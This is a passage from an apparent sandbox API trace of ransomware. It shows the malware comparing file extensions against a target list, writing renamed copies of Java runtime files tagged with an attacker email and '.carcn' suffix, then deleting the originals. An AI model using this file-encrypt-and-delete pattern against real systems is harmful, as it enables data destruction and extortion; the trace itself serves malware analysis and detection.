[0309.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0309.679] lstrlenW (lpString=".jpg") returned 4 [0309.679] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0309.679] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.679] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.679] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0309.680] GetLastError () returned 0x0 [0309.680] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0309.681] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x10d40, lpOverlapped=0x0) returned 1 [0309.683] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.683] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe6, lpOverlapped=0x0) returned 1 [0309.683] SetEndOfFile (hFile=0x344) returned 1 [0309.683] CloseHandle (hObject=0x344) returned 1 [0309.683] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.683] SetEndOfFile (hFile=0x380) returned 1 [0309.685] CloseHandle (hObject=0x380) returned 1 [0309.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.685] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0309.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0309.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0309.686] lstrlenW (lpString=".doc") returned 4 [0309.686] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.686] lstrlenW (lpString=".docx") returned 5 [0309.686] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0309.686] lstrlenW (lpString=".pdf") returned 4 [0309.686] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.686] lstrlenW (lpString=".xls") returned 4 [0309.686] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.686] lstrlenW (lpString=".xlsx") returned 5 [0309.686] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0309.686] lstrlenW (lpString=".ppt") returned 4 [0309.686] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0309.686] lstrlenW (lpString=".zip") returned 4 [0309.686] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.686] lstrlenW (lpString=".rar") returned 4 [0309.686] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.686] lstrlenW (lpString=".bz2") returned 4 [0309.686] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.686] lstrlenW (lpString=".7z") returned 3 [0309.686] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0309.686] lstrlenW (lpString=".dbf") returned 4 [0309.686] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0309.686] lstrlenW (lpString=".1cd") returned 4 [0309.686] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0309.687] lstrlenW (lpString=".jpg") returned 4 [0309.687] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.687] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.687] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.687] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0309.687] GetLastError () returned 0x0 [0309.687] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xf58, lpOverlapped=0x0) returned 1 [0309.688] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf60, lpOverlapped=0x0) returned 1 [0309.694] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.694] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfc, lpOverlapped=0x0) returned 1 [0309.694] SetEndOfFile (hFile=0x344) returned 1 [0309.694] CloseHandle (hObject=0x344) returned 1 [0309.694] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.694] SetEndOfFile (hFile=0x380) returned 1 [0309.695] CloseHandle (hObject=0x380) returned 1 [0309.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.695] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0309.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0309.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0309.696] lstrlenW (lpString=".doc") returned 4 [0309.696] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString=".docx") returned 5 [0309.696] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0309.696] lstrlenW (lpString=".pdf") returned 4 [0309.696] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString=".xls") returned 4 [0309.696] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString=".xlsx") returned 5 [0309.696] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0309.696] lstrlenW (lpString=".ppt") returned 4 [0309.696] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0309.696] lstrlenW (lpString=".zip") returned 4 [0309.696] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString=".rar") returned 4 [0309.696] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString=".bz2") returned 4 [0309.696] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString=".7z") returned 3 [0309.696] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0309.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0309.696] lstrlenW (lpString=".dbf") returned 4 [0309.696] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0309.696] lstrlenW (lpString=".1cd") returned 4 [0309.696] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0309.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0309.696] lstrlenW (lpString=".jpg") returned 4 [0309.696] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0309.697] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.697] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.697] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0309.697] GetLastError () returned 0x0 [0309.697] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xeba, lpOverlapped=0x0) returned 1 [0309.698] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec0, lpOverlapped=0x0) returned 1 [0309.699] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.699] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf0, lpOverlapped=0x0) returned 1 [0309.699] SetEndOfFile (hFile=0x344) returned 1 [0309.699] CloseHandle (hObject=0x344) returned 1 [0309.699] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.699] SetEndOfFile (hFile=0x380) returned 1 [0309.700] CloseHandle (hObject=0x380) returned 1 [0309.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.700] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0309.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0309.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0309.700] lstrlenW (lpString=".doc") returned 4 [0309.700] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0309.700] lstrlenW (lpString=".docx") returned 5 [0309.701] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0309.701] lstrlenW (lpString=".pdf") returned 4 [0309.701] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0309.701] lstrlenW (lpString=".xls") returned 4 [0309.701] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0309.701] lstrlenW (lpString=".xlsx") returned 5 [0309.701] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0309.701] lstrlenW (lpString=".ppt") returned 4 [0309.701] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0309.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0309.701] lstrlenW (lpString=".zip") returned 4 [0309.701] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0309.701] lstrlenW (lpString=".rar") returned 4 [0309.701] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0309.701] lstrlenW (lpString=".bz2") returned 4 [0309.701] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0309.701] lstrlenW (lpString=".7z") returned 3 [0309.701] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0309.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0309.701] lstrlenW (lpString=".dbf") returned 4 [0309.701] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0309.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0309.701] lstrlenW (lpString=".1cd") returned 4 [0309.701] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0309.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0309.701] lstrlenW (lpString=".jpg") returned 4 [0309.701] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0309.701] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.701] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0309.702] GetLastError () returned 0x0 [0309.702] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x2948, lpOverlapped=0x0) returned 1 [0309.703] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x2950, lpOverlapped=0x0) returned 1 [0309.704] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.704] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x106, lpOverlapped=0x0) returned 1 [0309.704] SetEndOfFile (hFile=0x344) returned 1 [0309.704] CloseHandle (hObject=0x344) returned 1 [0309.704] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.704] SetEndOfFile (hFile=0x380) returned 1 [0309.705] CloseHandle (hObject=0x380) returned 1 [0309.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.705] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0309.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0309.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0309.706] lstrlenW (lpString=".doc") returned 4 [0309.706] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0309.706] lstrlenW (lpString=".docx") returned 5 [0309.706] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0309.706] lstrlenW (lpString=".pdf") returned 4 [0309.706] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0309.706] lstrlenW (lpString=".xls") returned 4 [0309.706] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0309.706] lstrlenW (lpString=".xlsx") returned 5 [0309.706] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0309.706] lstrlenW (lpString=".ppt") returned 4 [0309.706] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0309.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0309.706] lstrlenW (lpString=".zip") returned 4 [0309.706] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0309.706] lstrlenW (lpString=".rar") returned 4 [0309.706] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0309.706] lstrlenW (lpString=".bz2") returned 4 [0309.706] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0309.706] lstrlenW (lpString=".7z") returned 3 [0309.706] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0309.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0309.706] lstrlenW (lpString=".dbf") returned 4 [0309.706] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0309.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0309.706] lstrlenW (lpString=".1cd") returned 4 [0309.706] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0309.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0309.706] lstrlenW (lpString=".jpg") returned 4 [0309.706] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0309.707] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.707] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.707] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0309.707] GetLastError () returned 0x0 [0309.707] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x12588, lpOverlapped=0x0) returned 1 [0310.522] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x12590, lpOverlapped=0x0) returned 1 [0310.524] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.524] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x104, lpOverlapped=0x0) returned 1 [0310.524] SetEndOfFile (hFile=0x344) returned 1 [0310.525] CloseHandle (hObject=0x344) returned 1 [0310.525] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.525] SetEndOfFile (hFile=0x380) returned 1 [0310.526] CloseHandle (hObject=0x380) returned 1 [0310.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.526] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0310.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0310.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0310.527] lstrlenW (lpString=".doc") returned 4 [0310.527] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0310.527] lstrlenW (lpString=".docx") returned 5 [0310.528] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0310.528] lstrlenW (lpString=".pdf") returned 4 [0310.528] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0310.528] lstrlenW (lpString=".xls") returned 4 [0310.528] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0310.528] lstrlenW (lpString=".xlsx") returned 5 [0310.528] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0310.528] lstrlenW (lpString=".ppt") returned 4 [0310.528] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0310.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0310.528] lstrlenW (lpString=".zip") returned 4 [0310.528] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0310.528] lstrlenW (lpString=".rar") returned 4 [0310.528] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0310.528] lstrlenW (lpString=".bz2") returned 4 [0310.528] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0310.528] lstrlenW (lpString=".7z") returned 3 [0310.528] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0310.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0310.528] lstrlenW (lpString=".dbf") returned 4 [0310.528] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0310.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0310.528] lstrlenW (lpString=".1cd") returned 4 [0310.528] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0310.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0310.528] lstrlenW (lpString=".jpg") returned 4 [0310.528] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0310.529] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.529] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0310.530] GetLastError () returned 0x0 [0310.530] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0310.535] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x3b410, lpOverlapped=0x0) returned 1 [0310.540] ReadFile (in: hFile=0x380, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.540] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x10a, lpOverlapped=0x0) returned 1 [0310.540] SetEndOfFile (hFile=0x344) returned 1 [0310.540] CloseHandle (hObject=0x344) returned 1 [0310.540] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.540] SetEndOfFile (hFile=0x380) returned 1 [0310.543] CloseHandle (hObject=0x380) returned 1 [0310.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.543] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program 